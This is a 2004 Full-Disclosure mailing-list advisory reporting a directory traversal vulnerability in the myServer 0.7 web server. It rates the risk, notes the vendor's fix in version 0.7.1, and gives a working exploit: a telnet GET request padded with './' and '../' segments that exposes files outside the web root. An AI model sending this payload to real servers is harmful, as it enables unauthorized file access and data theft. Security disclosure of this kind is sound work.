[Full-Disclosure] myServer 0.7 Directory Traversal Vulnerability

From: A.J. (webmaster_at_securiteinfo.com)
Date: 09/15/04

  • Next message: Mandrake Linux Security Team: "[Full-Disclosure] MDKSA-2004:094 - Updated printer-drivers packages fix vulnerability in foomatic" 
    To: full-disclosure@lists.netsys.com
Date: Wed, 15 Sep 2004 17:42:39 +0200

    myServer 0.7 Directory Traversal Vulnerability

    .oO Overview Oo.
    myServer version 0.7 shows files and directories that reside outside the
    normal web root directory.
    Discovered on 2004, September 07th
    Vendor: Myserver (http://www.myserverproject.net/forum/portal.php)

    MyServer is a free, powerful web server program designed to be easily run on a
    personal computer by the average computer user. It is a multithread
    application and supports HTTP, CGI, ISAPI, WinCGI and FastCGI protocols. It
    is available on Windows and Linux Operating Systems. This web server can
    shows file and directory content that reside outside the normal web root
    directory.

    .oO Risk Oo.
    Exploit easiness : 5/5
    Vulnerability spreading : 2/5
    Impact : 4/5
    Risk : 3/5

    .oO Details Oo.
    The vulnerability can be done using telnet. You just have to send a specially
    crafted dot-dot URL to retreive any file outside of the root directory.

    .oO Exploit Oo.
    Connect to the victim on port 80 with telnet. Then sent a
    "GET ././././././././././././././././././././././././././././././././././././././././././././././././././././
    ././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../"
    It returns the root directory of the web server.

    .oO Solution Oo.
    The vendor has been informed and has solved the problem.
    Download MyServer 0.7.1 or superior at
    http://sourceforge.net/project/showfiles.php?group_id=63119

    .oO Discovered by Oo.
    Arnaud Jacques aka scrap
    webmaster@securiteinfo.com
    http://www.securiteinfo.com

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    Relevant Pages

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